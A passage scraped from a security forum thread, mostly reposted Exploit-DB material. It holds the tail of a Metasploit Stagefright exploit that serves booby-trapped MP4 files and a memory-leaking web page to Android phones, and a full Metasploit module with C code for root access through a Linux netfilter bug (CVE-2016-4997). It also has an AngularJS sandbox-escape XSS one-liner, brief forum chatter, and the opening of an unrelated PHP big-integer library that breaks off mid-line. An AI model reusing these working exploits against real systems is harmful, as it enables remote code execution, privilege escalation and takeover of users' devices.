"skipTrack" being set. This means our # nasty track and it's metadata get deleted and not returned to the # browser -- effectively killing the infoleak. # # However! It also handles "skipTrack" being set specially and does not # immediately propagate the error to the caller. Instead, it returns OK. # This allows us to triggering the bug multiple times in one file, or -- # as we have in this case -- survive after and return successfully. if is_samsung # Add this as a nested track! trak_data << get_atom('trak', trigger) else trak_data << trigger end trak = get_atom('trak', trak_data) # On Samsung devices, we could put more chunks here but they will # end up smashing the temporary buffer further... chunks = [] chunks << get_ftyp() chunks << get_atom('moov') chunks << verified_trak * 0x200 chunks << shape_vector * groom_count chunks << trak mp4 = chunks.join mp4 end def get_mp4_rce(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # chunks = [] chunks << get_ftyp() # Note, this causes a few allocations moov_data = '' mvhd_data = [ 0, 0x41414141 ].pack('N*') mvhd_data << 'B' * 0x5c moov_data << get_atom('mvhd', mvhd_data) # Add a minimal, verified 'trak' to satisfy mLastTrack being set verified_trak = '' stbl_data = get_stsc(0x28) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount verified_trak << get_atom('trak', get_atom('stbl', stbl_data)) # Add it to the file moov_data << verified_trak # The spray_addr field is typically determined empirically (by testing), but # has proven to be fairly predictable (99%). However, it does vary from # one device to the next (probably determined by the pre-loaded libraries). spray_addr = 0xb0c08000 spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil? # Construct a single page that we will spray page = build_spray(my_target, peer, spray_addr) return nil if page.nil? # Build a big block full of spray pages and and put it in an avcC chunk # (but don't add it to the 'moov' yet) spray = page * (((16 * 1024 * 1024) / page.length) - 20) avcc = get_atom('avcC', spray) # Make the nasty trak tkhd1 = '' tkhd1 << [ 0 ].pack('C') # version tkhd1 << 'D' * 3 # padding tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration tkhd1 << 'F' * 0x10 # ?? tkhd1 << [ 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0 # dy ].pack('N*') tkhd1 << 'G' * 0x14 # ?? # Add the tkhd (track header) to the nasty track trak1 = '' trak1 << get_atom('tkhd', tkhd1) # Build and add the 'mdia' (Media information) to the nasty track mdia1 = '' mdhd1 = [ 0 ].pack('C') # version mdhd1 << 'D' * 0x17 # padding mdia1 << get_atom('mdhd', mdhd1) mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler dinf1 = '' dinf1 << get_atom('dref', 'H' * 0x14) # Data information box minf1 = '' minf1 << get_atom('smhd', 'G' * 0x08) minf1 << get_atom('dinf', dinf1) stbl1 = get_stsc(2) minf1 << get_atom('stbl', stbl1) mdia1 << get_atom('minf', minf1) trak1 << get_atom('mdia', mdia1) # Add something to take up a slot in the 0x20 size range # NOTE: We have to be able to free this later... block = 'Q' * 0x1c trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Add a Track (hopefully right after) trak1 << verified_trak # Add the avcC chunk with the heap spray. We add it here so it's sure to be # allocated when we get control of the program counter... trak1 << avcc # Build the first of the nasty pair of tx3g chunks that trigger the # vulnerability alloc_size = 0x20 overflow_size = 0xc0 overflow = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_1 = get_atom('tx3g', overflow) trak1 << tx3g_1 # Free the original thing and put the tx3g temporary in it's place... block = 'R' * 0x40 trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Make the second one, which triggers the integer overflow big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size more_data = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_2 = get_atom('tx3g', more_data, big_num) trak1 << tx3g_2 # Add the nasty track to the moov data moov_data << get_atom('trak', trak1) # Finalize the moov chunk moov = get_atom('moov', moov_data) chunks << moov # Combine outer chunks together and voila. mp4 = chunks.join mp4 end def on_request_uri(cli, request) # If the request is for an mp4 file, we need to get the target from the @peers hash if request.uri =~ /\.mp4\?/i mp4_fn = request.uri.split('/')[-1] mp4_fn = mp4_fn.split('?')[0] mp4_fn[-4,4] = '' peer = @peers[mp4_fn] my_target = nil my_target = peer[:target] if peer if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer") return end # Extract the address(s) we just leaked... sia_addr = request.qstring['sia'].to_i # near_sampiter data address peer[:near_sampiter_addr] = sia_addr if sia_addr > 0 sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0 # reset after a crash.. if sia_addr == 0 && sfv_addr == 0 peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil end # Always use this header out_hdrs = {'Content-Type'=>'video/mp4'} if peer[:vector_vtable_addr].nil? # Generate the nasty MP4 to leak infoz mode = "infoleak" mp4 = get_mp4_leak(my_target, peer) else mode = "RCE" mp4 = get_mp4_rce(my_target, peer) if mp4.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4") return end end # Send the nasty MP4 file to trigger the vulnerability if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip' mp4 = Rex::Text.gzip(mp4) out_hdrs.merge!('Content-Encoding' => 'gzip') gzip = "gzip'd" else gzip = "raw" end client = "Browser" if request.headers['User-Agent'].include? 'stagefright' client = "SF" end addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ] print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})") # Send the nastiness! send_response(cli, mp4, out_hdrs) return end # Initialize a target. If none suitable, then we don't continue. my_target = target if my_target.name =~ /Automatic/ my_target = get_target(request) if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}") return end vprint_status("Target selected: #{my_target.name}") end # Generate an MP4 filename for this peer mp4_fn = rand_text_alpha(11) # Save the target for when they come back asking for this file # Also initialize the leak address to the first one @peers[mp4_fn] = { :target => my_target } # Send the index page mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4" html = %Q^<html> <head> <title>Please wait...</title> <script> var video; // the video tag var to_id; // timeout ID var req_start; // when we requested the video var load_start; // when we loaded the video // Give mediaserver some time to settle down after restarting -- increases reliability var waitTime = 100; // 6000; var error = false; var near_sampiter_addr = -1; var vector_vtable_addr = -1; var crashes = 0; function duration_changed() { var now = Date.now(); var req_time = now - req_start; var load_time = now - load_start; console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16)); if (load_time > 2000) { // probably crashed. reset the entire process.. near_sampiter_addr = -1; vector_vtable_addr = -1; waitTime = 6000; crashes += 1; if (crashes > 5) { console.log('too many crashes!!!'); stop_everything(); } } else { // if we got the near_sampiter_addr already, we are now trying to read the code pointer. // otherwise, we're trying to find near_sampiter_addr... if (near_sampiter_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.videoHeight != 768) { // XXX: TODO: parameterize if (video.videoHeight != 0) { // wtf? crashed?? value = video.videoHeight; console.log('leaked heap pointer: 0x' + value.toString(16)); near_sampiter_addr = value; } } } else if (vector_vtable_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.duration != 314) { // XXX: TODO: parameterize // zero means a value that could not be represented... if (video.duration != 0) { var value = Math.round(video.duration * 1000000); console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16)); vector_vtable_addr = value; } } } // otherwise, we just keep trying with the data we have... } if (error == false) { if (vector_vtable_addr == -1) { to_id = setTimeout(reload_leak, waitTime); } else { to_id = setTimeout(reload_rce, waitTime); } waitTime = 100; } } function stop_everything() { if (error == false) { console.log('---- GIVING UP!! ----'); error = true; } if (to_id != -1) { clearTimeout(to_id); } } function start() { video = document.getElementById('vid'); video.onerror = function() { console.log(' onError called!'); stop_everything(); } video.ondurationchange = duration_changed; //reload_rce(); reload_leak(); } function get_uri() { var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1; var uri = '#{mp4_uri}?x=' + rn; if (near_sampiter_addr != -1) { uri += '&sia=' + near_sampiter_addr; } if (vector_vtable_addr != -1) { uri += '&sfv=' + vector_vtable_addr; } return uri; } function reload_leak() { to_id = -1; var xhr = new XMLHttpRequest; xhr.responseType = 'blob'; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status != 200 || !xhr.response) { stop_everything(); return; } load_start = Date.now(); try { //var url = URL.createObjectURL(xhr.response); var a = new FileReader(); a.onload = function(e) { //console.log('onload: ' + e.target.result); video.src = e.target.result }; a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); } a.readAsDataURL(xhr.response); } catch(e) { console.log(' ERROR: ' + e.message); stop_everything(); } } }; xhr.open('GET', get_uri(), true); req_start = Date.now(); xhr.send(); } function reload_rce() { to_id = -1; video.src = get_uri(); } </script></head> <body onload='start()'> <video id=vid width=1px controls> Your browser does not support VIDEO tags. </video><br /> Please wait while we locate your content... </body> </html> ^ print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end # # Return some firmware-specific values to the caller. # # The VectorRVA field is extracted using the following command: # # $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE # def get_details(my_target) details = { 'lrx' => { 'VectorRVA' => 0x10ae30, 'PivotStrategy' => 'lrx', 'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc} 'Adjust' => 0x475cd # pop {r3, r4, pc} }, 'lmy-1' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-1', 'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'lmy-2' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-2', 'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1 'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'shamu / LYZ28E' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'shamu / LYZ28J' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'sm-g900v / OE1' => { 'VectorRVA' => 0x174048, 'PivotStrategy' => 'sm-g900v', 'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5 'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2 'Adjust' => 0x65421 # pop {r4, r5, pc} } } details[my_target['Rop']] end end Sursa: https://www.exploit-db.com/exploits/40436/
  15. Linux Kernel 4.6.3 - Netfilter Privilege Escalation (Metasploit) ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation', 'Description' => %q{ This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. We write the ascii files and compile on target instead of locally since metasm bombs for not having cdefs.h (even if locally installed) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@stcyrsecurity.com>', # Module 'vnik' # Discovery ], 'DisclosureDate' => 'Jun 03 2016', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Ubuntu', { } ] #[ 'Fedora', { } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'EDB', '40049'], [ 'CVE', '2016-4997'], [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def iptables_loaded?() # user@ubuntu:~$ cat /proc/modules | grep ip_tables # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000 # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000 vprint_status('Checking if ip_tables is loaded in kernel') if target.name == "Ubuntu" iptables = cmd_exec('cat /proc/modules | grep ip_tables') if iptables.include?('ip_tables') vprint_good('ip_tables.ko is loaded') else print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('ip_tables') elsif target.name == "Fedora" iptables = cmd_exec('cat /proc/modules | grep iptable_raw') if iptables.include?('iptable_raw') vprint_good('iptable_raw is loaded') else print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('iptable_raw') else return false end end def shemsham_installed?() # we want this to be false. vprint_status('Checking if shem or sham are installed') shemsham = cmd_exec('cat /proc/cpuinfo') if shemsham.include?('shem') print_error('shem installed, system not vulnerable.') elsif shemsham.include?('sham') print_error('sham installed, system not vulnerable.') else vprint_good('shem and sham not present.') end return (shemsham.include?('shem') or shemsham.include?('sham')) end if iptables_loaded?() and not shemsham_installed?() return CheckCode::Appears else return CheckCode::Safe end end def exploit # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. def has_prereqs?() vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed') if target.name == "Ubuntu" lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') if lib.include?('install') vprint_good('libc6-dev-i386 is installed') else print_error('libc6-dev-i386 is not installed. Compiling will fail.') end multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib') if multilib.include?('install') vprint_good('gcc-multilib is installed') else print_error('gcc-multilib is not installed. Compiling will fail.') end gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install') elsif target.name == "Fedora" lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') if lib.include?('glibc') vprint_good('glibc-devel.i686 is installed') else print_error('glibc-devel.i686 is not installed. Compiling will fail.') end if lib.include?('libgcc') vprint_good('libgcc.i686 is installed') else print_error('libgcc.i686 is not installed. Compiling will fail.') end multilib = false #not implemented gcc = false #not implemented return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib else return false end end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) payload_file = rand_text_alpha(8) payload_path = "#{datastore["WritableDir"]}/#{payload_file}" # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here # removed #include <netinet/in.h> per busterb comment in PR 7326 decr = %q{ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <netinet/in.h> #include <linux/sched.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ptrace.h> #include <net/if.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netlink.h> #include <fcntl.h> #include <sys/mman.h> #define MALLOC_SIZE 66*1024 int decr(void *p) { int sock, optlen; int ret; void *data; struct ipt_replace *repl; struct ipt_entry *entry; struct xt_entry_match *ematch; struct xt_standard_target *target; unsigned i; sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket"); return -1; } data = malloc(MALLOC_SIZE); if (data == NULL) { perror("malloc"); return -1; } memset(data, 0, MALLOC_SIZE); repl = (struct ipt_replace *) data; repl->num_entries = 1; repl->num_counters = 1; repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; repl->valid_hooks = 0; entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); entry->target_offset = 74; // overwrite target_offset entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); strcpy(ematch->u.user.name, "icmp"); void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); uint64_t *me = (uint64_t *)(kmatch + 0x58); *me = 0xffffffff821de10d; // magic number! uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); *match = (uint32_t)kmatch; ematch->u.match_size = (short)0xffff; target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); uint32_t *t = (uint32_t *)target; *t = (uint32_t)kmatch; printf("[!] Decrementing the refcount. This may take a while...\n"); printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); for (i = 0; i < 0xffffff/2+1; i++) { ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); } close(sock); free(data); printf("[+] Done! Now run ./pwn\n"); return 0; } int main(void) { void *stack; int ret; printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); ret = unshare(CLONE_NEWUSER); if (ret == -1) { perror("unshare"); return -1; } stack = (void *) malloc(65536); if (stack == NULL) { perror("malloc"); return -1; } clone(decr, stack + 65536, CLONE_NEWNET, NULL); sleep(1); return 0; } } # direct copy of code from exploit-db pwn = %q{ #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <sys/mman.h> #include <assert.h> #define MMAP_ADDR 0xff814e3000 #define MMAP_OFFSET 0xb0 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); void __attribute__((regparm(3))) privesc() { commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; commit_creds(prepare_kernel_cred((uint64_t)NULL)); } int main() { void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); assert(payload == (void *)MMAP_ADDR); void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); memset(shellcode, 0, 0x300000); void *ret = memcpy(shellcode, &privesc, 0x300); assert(ret == shellcode); printf("[+] Escalating privs...\n"); int fd = open("/dev/ptmx", O_RDWR); close(fd); assert(!getuid()); printf("[+] We've got root!"); return execl("/bin/bash", "-sh", NULL); } } # the original code printed a line. However, this is hard to detect due to threading. # so instead we can write a file in /tmp to catch. decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/, "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" ) # patch in to run our payload pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/, "execl(\"#{payload_path}\", NULL);") def pwn(payload_path, pwn_file, pwn, compile) # lets write our payload since everythings set for priv esc vprint_status("Writing payload to #{payload_path}") write_file(payload_path, generate_payload_exe) cmd_exec("chmod 555 #{payload_path}") register_file_for_cleanup(payload_path) # now lets drop part 2, and finish up. rm_f pwn_file if compile print_status "Writing pwn executable to #{pwn_file}.c" rm_f "#{pwn_file}.c" write_file("#{pwn_file}.c", pwn) cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}") register_file_for_cleanup("#{pwn_file}.c") else print_status "Writing pwn executable to #{pwn_file}" write_file(pwn_file, pwn) end register_file_for_cleanup(pwn_file) cmd_exec("chmod +x #{pwn_file}; #{pwn_file}") end if not compile # we need to override with our pre-created binary # pwn file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out') fd = ::File.open( path, "rb") pwn = fd.read(fd.stat.size) fd.close # desc file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out') fd = ::File.open( path, "rb") decr = fd.read(fd.stat.size) fd.close # overwrite the hardcoded variable names in the compiled versions env_ready_file = '/tmp/okDjTFSS' payload_path = '/tmp/2016_4997_payload' end # check for shortcut if datastore['REEXPLOIT'] pwn(payload_path, pwn_file, pwn, compile) else rm_f desc_file if compile print_status "Writing desc executable to #{desc_file}.c" rm_f "#{desc_file}.c" write_file("#{desc_file}.c", decr) register_file_for_cleanup("#{desc_file}.c") output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}") else write_file(desc_file, decr) end rm_f env_ready_file register_file_for_cleanup(env_ready_file) #register_file_for_cleanup(desc_file) if not file_exist?(desc_file) vprint_error("gcc failure output: #{output}") fail_with(Failure::Unknown, "#{desc_file}.c failed to compile") end if target.name == "Ubuntu" vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created." elsif target.name == "Fedora" vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created." end cmd_exec("chmod +x #{desc_file}; #{desc_file}") sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) if sec_waited % 10 == 0 vprint_status("Waited #{sec_waited}s so far") end if file_exist?(env_ready_file) print_good("desc finished, env ready.") pwn(payload_path, pwn_file, pwn, compile) return end sec_waited +=1 end end end end Sursa: https://www.exploit-db.com/exploits/40435/
  16. Salut, Am pus noul homepage: https://rstforums.com/ Multumim @Gecko Daca apar probleme sau aveti sugestii, luati legatura cu el.
  17. x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');
  18. Cu alte cuvinte, daca te duci intr-un data center si urli ca disperatul, e posibil sa strici cateva servere. Interesant...
  19. Proasta miscare
  20. Pentru cei interesati de SSH lib: <?php define('MATH_BIGINTEGER_MONTGOMERY', 0); define('MATH_BIGINTEGER_BARRETT', 1); define('MATH_BIGINTEGER_POWEROF2', 2); define('MATH_BIGINTEGER_CLASSIC', 3); define('MATH_BIGINTEGER_NONE', 4); define('MATH_BIGINTEGER_VALUE', 0); define('MATH_BIGINTEGER_SIGN', 1); define('MATH_BIGINTEGER_VARIABLE', 0); define('MATH_BIGINTEGER_DATA', 1); define('MATH_BIGINTEGER_MODE_INTERNAL', 1); define('MATH_BIGINTEGER_MODE_BCMATH', 2); define('MATH_BIGINTEGER_MODE_GMP', 3); define('MATH_BIGINTEGER_MAX_DIGIT52', pow(2, 52)); define('MATH_BIGINTEGER_KARATSUBA_CUTOFF', 25); class Math_BigInteger { var $value; var $is_negative = false; var $generator = 'mt_rand'; var $precision = - 1; var $bitmask = false; var $hex; function Math_BigInteger($x = 0, $base = 10) { if (!defined('MATH_BIGINTEGER_MODE')) { switch (true) { case extension_loaded('gmp'): define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_GMP); break; case extension_loaded('bcmath'): define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_BCMATH); break; default: define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_INTERNAL); } } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (is_resource($x) && get_resource_type($x) == 'GMP integer') { $this->value = $x; return; } $this->value = gmp_init(0); break; case MATH_BIGINTEGER_MODE_BCMATH: $this->value = '0'; break; default: $this->value = array(); } if (empty($x)) { return; } switch ($base) { case -256: if (ord($x[0]) & 0x80) { $x = ~ $x; $this->is_negative = true; } case 256: switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $sign = $this->is_negative ? '-' : ''; $this->value = gmp_init($sign . '0x' . bin2hex($x)); break; case MATH_BIGINTEGER_MODE_BCMATH: $len = (strlen($x) + 3) & 0xFFFFFFFC; $x = str_pad($x, $len, chr(0) , STR_PAD_LEFT); for ($i = 0; $i < $len; $i+= 4) { $this->value = bcmul($this->value, '4294967296', 0); $this->value = bcadd($this->value, 0x1000000 * ord($x[$i]) + ((ord($x[$i + 1]) << 16) | (ord($x[$i + 2]) << 8) | ord($x[$i + 3])) , 0); } if ($this->is_negative) { $this->value = '-' . $this->value; } break; default: while (strlen($x)) { $this->value[] = $this->_bytes2int($this->_base256_rshift($x, 26)); } } if ($this->is_negative) { if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { $this->is_negative = false; } $temp = $this->add(new Math_BigInteger('-1')); $this->value = $temp->value; } break; case 16: case -16: if ($base > 0 && $x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = preg_replace('#^(?:0x)?([A-Fa-f0-9]*).*#', '$1', $x); $is_negative = false; if ($base < 0 && hexdec($x[0]) >= 8) { $this->is_negative = $is_negative = true; $x = bin2hex(~pack('H*', $x)); } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = $this->is_negative ? '-0x' . $x : '0x' . $x; $this->value = gmp_init($temp); $this->is_negative = false; break; case MATH_BIGINTEGER_MODE_BCMATH: $x = (strlen($x) & 1) ? '0' . $x : $x; $temp = new Math_BigInteger(pack('H*', $x) , 256); $this->value = $this->is_negative ? '-' . $temp->value : $temp->value; $this->is_negative = false; break; default: $x = (strlen($x) & 1) ? '0' . $x : $x; $temp = new Math_BigInteger(pack('H*', $x) , 256); $this->value = $temp->value; } if ($is_negative) { $temp = $this->add(new Math_BigInteger('-1')); $this->value = $temp->value; } break; case 10: case -10: $x = preg_replace('#^(-?[0-9]*).*#', '$1', $x); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $this->value = gmp_init($x); break; case MATH_BIGINTEGER_MODE_BCMATH: $this->value = (string)$x; break; default: $temp = new Math_BigInteger(); $multiplier = new Math_BigInteger(); $multiplier->value = array( 10000000 ); if ($x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = str_pad($x, strlen($x) + (6 * strlen($x)) % 7, 0, STR_PAD_LEFT); while (strlen($x)) { $temp = $temp->multiply($multiplier); $temp = $temp->add(new Math_BigInteger($this->_int2bytes(substr($x, 0, 7)) , 256)); $x = substr($x, 7); } $this->value = $temp->value; } break; case 2: case -2: if ($base > 0 && $x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = preg_replace('#^([01]*).*#', '$1', $x); $x = str_pad($x, strlen($x) + (3 * strlen($x)) % 4, 0, STR_PAD_LEFT); $str = '0x'; while (strlen($x)) { $part = substr($x, 0, 4); $str.= dechex(bindec($part)); $x = substr($x, 4); } if ($this->is_negative) { $str = '-' . $str; } $temp = new Math_BigInteger($str, 8 * $base); $this->value = $temp->value; $this->is_negative = $temp->is_negative; break; default: } } function toBytes($twos_compliment = false) { if ($twos_compliment) { $comparison = $this->compare(new Math_BigInteger()); if ($comparison == 0) { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $temp = $comparison < 0 ? $this->add(new Math_BigInteger(1)) : $this->copy(); $bytes = $temp->toBytes(); if (empty($bytes)) { $bytes = chr(0); } if (ord($bytes[0]) & 0x80) { $bytes = chr(0) . $bytes; } return $comparison < 0 ? ~$bytes : $bytes; } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (gmp_cmp($this->value, gmp_init(0)) == 0) { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $temp = gmp_strval(gmp_abs($this->value) , 16); $temp = (strlen($temp) & 1) ? '0' . $temp : $temp; $temp = pack('H*', $temp); return $this->precision > 